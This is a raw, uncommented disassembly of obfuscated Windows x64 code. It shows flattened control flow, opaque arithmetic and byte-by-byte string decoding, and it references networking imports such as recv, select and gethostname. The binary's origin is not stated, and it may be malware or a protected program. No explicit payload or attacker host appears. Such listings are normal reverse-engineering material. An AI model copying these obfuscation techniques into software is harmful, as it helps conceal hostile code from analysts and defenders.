cmp rax, 0x20
je 0x1400c0b7b
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400c09bc
lea edx, [r11 + 0x33]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x65
jmp 0x1400c0735
add r11b, 0x22
movzx eax, r10b
and al, r11b
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x4c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0283
sub r11b, 0x3c
movzx eax, r10b
and al, r11b
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x5c
add bl, r11b
jmp 0x1400c0d2b
lea edx, [r11 + 0x66]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c0cff
add r11b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x38
jmp 0x1400c0cd3
sub r11b, 0x56
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c0cd0
lea edx, [r11 + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x1400c0c98
sub r11b, 0x12
movzx eax, r10b
and al, r11b
mov ecx, 0x3f
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400c0283
sub r11b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c0283
lea edx, [r11 + 0x32]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x5e
jmp 0x1400c0c2d
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x1400c0902
lea edx, [r11 + 0x2f]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x49
jmp 0x1400c077a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c093c
sub r11b, 0x4a
movzx eax, r10b
and al, r11b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x4c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0283
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c0961
lea edx, [r11 + 0x72]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x1e
add bl, dl
jmp 0x1400c0cff
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c0986
add r11b, 0x2e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x42
jmp 0x1400c0cd0
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c077c
add r11b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c0283
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400c09df
lea edx, [r11 - 0x6f]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 9
jmp 0x1400c0c2d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c0a0a
add r11b, 0x4d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x1b
dec rdi
inc rdi
jmp 0x1400c0283
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400c0a2f
lea edx, [r11 - 0x55]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x53
add bl, dl
jmp 0x1400c0c98
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c0a54
add r11b, 0x67
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x2f
jmp 0x1400c0cd3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c0737
lea edx, [r11 - 0x3b]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x63
add bl, dl
jmp 0x1400c0cff
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c0ab7
add r11b, 0x6c
movzx eax, r10b
and al, r11b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x4c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0283
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c0adc
lea edx, [r11 + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x18
add bl, dl
jmp 0x1400c0cff
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c0b07
sub r11b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x60
dec rdi
inc rdi
jmp 0x1400c0283
cmp r8, rcx
jne 0x1400c0b35
sub r11b, 2
movzx eax, r10b
and al, r11b
mov ecx, 7
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c0283
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c06f7
lea edx, [r11 + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400c0c2d
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x2c
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400c0c98
lea ecx, [r11 + 0x76]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [rcx - 0x3a]
jmp 0x1400c0cff
add r11b, 0x29
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x1f
movzx eax, byte [rbp + rdi + 0x4c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0283
lea edx, [r11 + 0x6d]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 5
add bl, dl
jmp 0x1400c0cff
sub r11b, 0x4f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x29
jmp 0x1400c0cd0
sub r11b, 0xb
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x4d
dec rdi
inc rdi
jmp 0x1400c0283
lea edx, [r11 + 0x39]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x71
add bl, dl
sub r11b, 0x17
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x5f
add r11b, r10b
mov byte [rbp + rdi + 0x4c0], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c0283
lea ecx, [rdi + 0x1f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x27
inc r9
dec rdi
inc rdi
jmp 0x1400c0283
movzx r11d, dil
lea ecx, [r11 + 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x4b
add r11b, 0x47
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
add cl, 0xf
add cl, r11b
add cl, r10b
mov byte [rbp + rdi + 0x4c0], cl
jmp 0x1400c0cd0
lea ecx, [rdi + 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x23
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c0283
lea rax, [rdi + r12]
and dl, al
add dl, dl
sub al, dl
lea ebx, [r10 + rax]
inc bl
movzx r11d, dil
sub r11b, 0x5b
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x7d
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi + 0x4c0], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0x4c0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x4c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0283
lea rax, [rdi + r15]
and dl, al
add dl, dl
sub al, dl
lea ebx, [r10 + rax]
add bl, 0x25
movzx eax, byte [rbp + rdi + 0x4c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0283
add r11b, 0x6b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x13
jmp 0x1400c0280
add r11b, 0xd
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x5b
jmp 0x1400c0270
lea rdx, [rbp + 0x1674854]
jmp 0x1400c0de7
lea rdx, [rbp + 0xe72383]
jmp 0x1400c0de7
lea rdx, [rbp + 0x4c0]
mov rcx, rsi
call fcn.1400644d0
mov byte [rbp + 0x108], 0xc0
mov byte [rbp + 0x109], reloc.WS2_32.dll_select
mov byte [rbp + 0x10a], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x10b], reloc.WLDAP32.dll_Ordinal_27
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x10c], xmm0
mov qword [rbp + 0x11c], rax
mov dword [rbp + 0x124], eax
mov byte [rbp + 0x128], al
movabs r14, 0xb02fc8cccdfc502c
movabs r12, 0xd14e7d99a1e63134
movabs r15, 0x108f5a6669f4f084
movzx ebx, byte [rsp + 0x31]
nop dword [rax]
mov rax, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
mov rdi, r13
cmp rdi, 0x21
jae 0x1400c1a0a
movzx r11d, byte [rbp + rdi + 0x108]
mov esi, r11d
nop dword [rax]
cmp rax, rdi
ja 0x1400c19ee
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1400c0eab
lea rdx, [rdi + r14]
mov rcx, rsi
and rcx, rdx
imul rbx, rcx, 0xfffffffffffffffe
add rbx, rsi
add rbx, rdx
sub bl, 0x34
jmp 0x1400c0ee5
je 0x1400c1969
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400c18db
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400c18ac
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400c1869
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x1400c184a
movzx r10d, dil
nop dword [rax]
cmp r9, rdi
ja 0x1400c19d2
lea rdx, [r9 + 3]
cmp rax, rdx
jae 0x1400c0f19
lea edx, [r10 - 0x64]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x44
jmp 0x1400c0f40
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400c1800
cmp rax, rdx
je 0x1400c17de
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400c17be
nop dword [rax]
lea rcx, [r9 + rax]
cmp rcx, rdi
jbe 0x1400c1494
nop dword [rax]
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400c147a
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
je 0x1400c1451
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x1400c142f
lea rcx, [r9 + 8]
cmp rax, rcx
je 0x1400c1547
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x1400c140f
lea rcx, [r9 + 0x28]
cmp rax, rcx
je 0x1400c13f3
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x1400c13d3
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400c13b7
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x1400c1386
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x1400c0f50
lea rax, [r9 + 2]
lea r9, [rax + 5]
lea rcx, [r9 + 0x200]
cmp rax, rcx
jb 0x1400c19b2
lea rcx, [r9 + 8]
cmp rax, rcx
jb 0x1400c1996
lea rcx, [r9 + 6]
cmp rax, rcx
jb 0x1400c113a
lea rcx, [r9 + 0x61]
cmp rax, rcx
jb 0x1400c111a
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x1400c1100
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x1400c1336
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jb 0x1400c12ed
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jb 0x1400c12b0
lea rcx, [r9 + 0x42]
cmp rax, rcx
jb 0x1400c1286
lea rcx, [r9 + 4]
cmp rax, rcx
jb 0x1400c0f50
lea rax, [r9 + 0x80]
lea r9, [rax + 3]
lea rcx, [r9 + 6]
cmp rax, rcx
ja 0x1400c1255
lea rdx, [r9 + 5]
cmp rax, rdx
ja 0x1400c1237
lea rcx, [r9 + 0x1000]
cmp rax, rcx
ja 0x1400c1217
lea rcx, [r9 + 0x400]
cmp rax, rcx
ja 0x1400c11fb
lea rcx, [r9 + 0xa]
cmp rax, rcx
ja 0x1400c11df
lea rcx, [r9 + 0x5a]
cmp rax, rcx
ja 0x1400c11bf
lea rcx, [r9 + 0x41]
cmp rax, rcx
ja 0x1400c119d
lea rcx, [r9 + 0x40]
cmp rax, rcx
ja 0x1400c1174
lea rcx, [r9 + 3]
cmp rax, rcx
ja 0x1400c1156
lea rcx, [r9 + 2]
cmp rax, rcx
ja 0x1400c0f50
mov rax, rdx
lea r9, [rdx + 0x200]
jmp 0x1400c0f50
lea edx, [r10 - 0x1c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x3c
jmp 0x1400c0f40
lea r8d, [r10 - 0x74]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x1400c0ef0
add r10b, 0x34
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x6c
jmp 0x1400c0e80
lea r8d, [r10 - 0x20]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx ebx, r11b
sub bl, cl
sub bl, 0x20
add bl, r8b
jmp 0x1400c181b
sub r10b, 0x78
movzx ecx, r11b
and cl, r10b
mov edx, 0x24
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c0e63
add r10b, 0x30
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea ebx, [r10 + r11]
sub bl, 0x50
dec rdi
inc rdi
jmp 0x1400c0e63
lea r8d, [r10 - 0x28]
movzx ecx, r11b
and cl, r8b
mov edx, recv
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r8b
jmp 0x1400c1888
add r10b, 0x80
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea ebx, [r10 + r11]
add bl, 0x80
jmp 0x1400c18c0
add r10b, 0x28
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea ebx, [r10 + r11]
sub bl, 0x18
jmp 0x1400c18c3
lea r8d, [r10 - 0x30]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r8b
jmp 0x1400c18f5
add r10b, 0x78
movzx ecx, r11b
and cl, r10b
add cl, cl
movzx ebx, r11b
sub bl, cl
sub bl, 0x48
add bl, r10b
jmp 0x1400c1922
add r10b, 0x20
movzx ecx, r11b
and cl, r10b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
movzx ecx, byte [rbp + rdi + 0x108]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400c0e63
add r10b, 0x44
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_select
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
mov byte [rbp + rdi + 0x108], bl
inc rdi
jmp 0x1400c0e63
lea edx, [r10 - 0x14]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x74
cmp r9, 0x2a
jb 0x1400c12a1
lea r8d, [r10 - 0x78]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
add dl, r8b
lea ebx, [rdx*2 - 0x70]
jmp 0x1400c181b
lea edx, [r10 - 0x6c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0xc
cmp rax, 0x20
jae 0x1400c1786
lea rcx, [r9 + 0x42]
cmp rax, rcx
jbe 0x1400c1682
lea r8d, [r10 + 0x18]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_45
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r8b
jmp 0x1400c12c5
lea r8d, [r10 + 0x3c]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_46
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
lea rcx, [r9 + rax]
cmp rcx, 0x40
je 0x1400c17a1
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jbe 0x1400c15b6
lea edx, [r10 + 0x7c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x64
jmp 0x1400c1302
sub r10b, 0x58
movzx ecx, r10b
and cl, r11b
mov edx, 0x34
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
movzx ecx, byte [rbp + rdi + 0x108]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400c0e63
add r10b, 0x50
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x30
jmp 0x1400c1922
lea r8d, [r10 - 8]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_30
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x1400c18f5
sub r10b, 0x60
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x60
jmp 0x1400c18c3
add r10b, 0x48
movzx ecx, r10b
and cl, r11b
mov edx, 4
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
jmp 0x1400c18c0
sub r10b, 0x68
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x28
dec rdi
inc rdi
jmp 0x1400c0e63
add r10b, 0x40
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c0e63
lea edx, [r10 - 0x18]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x58
jmp 0x1400c181b
lea rcx, [r9 + 0x42]
cmp rax, rcx
jae 0x1400c14b7
lea edx, [r10 + 0x2c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x34
jmp 0x1400c1351
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400c14f1
add r10b, 0x38
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
movzx ecx, byte [rbp + rdi + 0x108]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400c0e63
inc rcx
cmp rax, rcx
jne 0x1400c1519
add r10b, 0x40
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
jmp 0x1400c18c3
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400c153e
sub r10b, 0x68
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x28
jmp 0x1400c18c0
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400c1555
lea r8d, [r10 - 0x10]
mov edx, gethostname
jmp 0x1400c1876
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400c1584
add r10b, 0x48
movzx ecx, r10b
and cl, r11b
mov edx, 4
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400c0e63
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400c1351
sub r10b, 0x60
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x60
inc r9
dec rdi
inc rdi
jmp 0x1400c0e63
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400c15cd
lea r8d, [r10 - 0x2c]
mov edx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x1400c1809
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400c15fc
sub r10b, 0x7c
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_50
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400c0e63
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400c1625
sub r10b, 0x74
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
jmp 0x1400c18c3
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400c1648
lea edx, [r10 - 0x1c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x3c
jmp 0x1400c18f5
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400c1302
sub r10b, 0x6c
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0xc
movzx ecx, byte [rbp + rdi + 0x108]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400c0e63
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400c16b8
add r10b, 0x70
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea ebx, [r10 + r11]
sub bl, 0x10
movzx ecx, byte [rbp + rdi + 0x108]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400c0e63
inc rcx
cmp rax, rcx
jne 0x1400c16de
sub r10b, 0x38
movzx ecx, r11b
and cl, r10b
add cl, cl
movzx ebx, r11b
sub bl, cl
sub bl, 0x78
add bl, r10b
jmp 0x1400c1922
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400c1707
lea r8d, [r10 + 0x20]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r8b
jmp 0x1400c18f5
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400c1730
sub r10b, 0x30
movzx ecx, r11b
and cl, r10b
mov edx, Ordinal_41
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
jmp 0x1400c18c0
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1400c175b
add r10b, 0x80
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea ebx, [r10 + r11]
add bl, 0x80
dec rdi
inc rdi
jmp 0x1400c0e63
lea rcx, [r9 + 8]
cmp rax, rcx
jne 0x1400c12c5
lea r8d, [r10 + 0x30]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx ebx, r11b
sub bl, cl
sub bl, 0x50
add bl, r8b
jmp 0x1400c181b
lea r8d, [r10 - 0x20]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx ebx, r11b
sub bl, cl
sub bl, 0x20
jmp 0x1400c1882
lea r8d, [r10 + 0x38]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
jmp 0x1400c18f5
sub r10b, 0x54
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_41
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
jmp 0x1400c18c3
sub r10b, 0x5c
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x7c
dec rdi
inc rdi
jmp 0x1400c0e63
lea r8d, [r10 - 0xc]
mov edx, Ordinal_45
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
sub r10b, 0x4c
movzx ecx, r10b
and cl, r11b
mov edx, 0xa
sub dl, cl
add dl, dl
add dl, r10b
add dl, r11b
mov byte [rbp + rdi + 0x108], dl
inc r9
dec rdi
inc rdi
jmp 0x1400c0e63
lea edx, [rdi - 0x6c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0xc
dec rdi
inc rdi
jmp 0x1400c0e63
movzx r10d, dil
lea r8d, [r10 + 0x3c]
mov edx, reloc.WLDAP32.dll_Ordinal_46
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
add r10b, 0xc
movzx ecx, r11b
and cl, r10b
add cl, cl
movzx edx, bl
sub dl, cl
sub dl, 0x54
add dl, r11b
add dl, r10b
mov byte [rbp + rdi + 0x108], dl
jmp 0x1400c18c0
lea edx, [rdi - 0x1c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x3c
add rax, r9
movzx ecx, bl
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rdi, rdx
inc rdi
jmp 0x1400c0e63
lea rdx, [rdi + r12]
and sil, dl
add sil, sil
movzx ebx, r11b
sub bl, sil
sub bl, 0x6c
add bl, dl
movzx r10d, dil
add r10b, 0x64
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_35
sub dl, cl
add dl, dl
add dl, r10b
add dl, r11b
movzx ecx, dl
mov byte [rbp + rdi + 0x108], cl
inc r9
add rcx, r9
sub rdi, rcx
lea r8d, [rdi - 0x70]
movzx ecx, r8b
and cl, r11b
mov edx, 8
sub dl, cl
add dl, dl
add dl, r8b
add dl, r11b
mov byte [rbp + rdi + 0x108], dl
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
movzx ecx, byte [rbp + rdi + 0x108]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400c0e63
lea rdx, [rdi + r15]
and sil, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, sil
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
movzx ecx, byte [rbp + rdi + 0x108]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400c0e63
sub r10b, 0x24
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 4
jmp 0x1400c0e60
sub r10b, 0x7c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c0e50
mov eax, dword [rbp + 0x145de98]
cdqe
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
jmp 0x1400c7eb2
mov eax, dword [rbp + 0x422ec4]
cdqe
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
jmp 0x1400c7eb2
mov eax, dword [rbp + 0x108]
cdqe
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
jmp 0x1400c7eb2
mov byte [rbp + 0x2a0], 0x68
mov byte [rbp + 0x2a1], 0x75
mov byte [rbp + 0x2a2], 0x76
mov byte [rbp + 0x2a3], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x2a4], 0x77
mov byte [rbp + 0x2a5], 0x3f
mov byte [rbp + 0x2a6], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x2a7], Ordinal_45
mov byte [rbp + 0x2a8], 0x63
mov byte [rbp + 0x2a9], WSASetLastError
mov byte [rbp + 0x2aa], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x2ab], Ordinal_41
mov byte [rbp + 0x2ac], 0x62
mov byte [rbp + 0x2ad], 0x68
mov byte [rbp + 0x2ae], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x2af], 0x7a
mov byte [rbp + 0x2b0], 0x62
mov byte [rbp + 0x2b1], 0x3f
mov byte [rbp + 0x2b2], 0x7b
mov byte [rbp + 0x2b3], 0x7c
